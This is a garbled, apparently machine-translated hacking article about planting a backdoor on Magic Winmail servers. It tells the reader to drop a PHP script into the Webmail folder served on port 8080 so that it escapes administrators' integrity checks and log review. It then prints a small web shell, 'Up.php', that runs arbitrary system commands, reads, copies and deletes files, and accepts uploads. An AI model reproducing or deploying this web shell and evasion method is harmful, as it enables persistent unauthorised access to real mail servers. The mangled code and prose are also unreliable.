Magic Winmail is a very good Mail Server software that is favored by many websites. Mainly some of the small websites. However, in the nearest penetration of the author, it is very dangerous to improve the software through this software, if it is invaded to get WebShell, it is very dangerous.
The server with Magic Winmail will open the 8080 port on the system and provide an email service. People who have used it should know. This Magic Winmail server supports PHP script resolution.
figure 1
There is a folder with Magic Winmail.
A Server's folder with a Webmail folder.
figure 2
You can find that this folder is a file of some PHP scripts. Because Magic Winmail can resolve the PHP script, it is really our use of this vulnerability to improve the rights helper. I found this method is accidentally, I want to install a back door on this server, how to install it? Because I think it is quirky. Generally do not use conventional methods, hitting this server 8080 port. This Magic Winmail is the best place. You place a PHP script in D: / Magicw ~ 1 / Server / Webmail [IPA in the machine I test, whether it is a script injection or a normal PHP script, just put! And Lis0 prompt, please feel free to bold Use, don't there be a log? The rookie is. The general system is invaded, and the administrator to the system is also the MD5 check and the script Trojan. He didn't think of our script. Under this folder, LIS0 recommends using an injected script or a script that does not be written by anti-virus software. Which script does me? LIS0 uses an UP.php written by Angel and inserts something. When playing, upload a script or other stuff in your own modified, it is convenient. What about logs? Of course, there is still. But in the Magic Winmail folder, it is really not much to view the log in this folder so far, unless you read this article :)
Up.php CODZ
IF ($ ID == "1") {
System ($ cmd);
Show_source ($ file);
Copy ($ A, $ B); Unlink ($ A);
}
?>
$ fname = $ _files ['myfile'] ['Name'];
$ do = Copy ($ _ files ['myfile'] ['tmp_name'], $ fname);
IF ($ DO)
{
ECHO "Upload success
";
echo "
Http: // "; $ server_name." ".Dirname ($ PHP_SELF)." / "."
} else {
ECHO "Upload Fail";
}
?>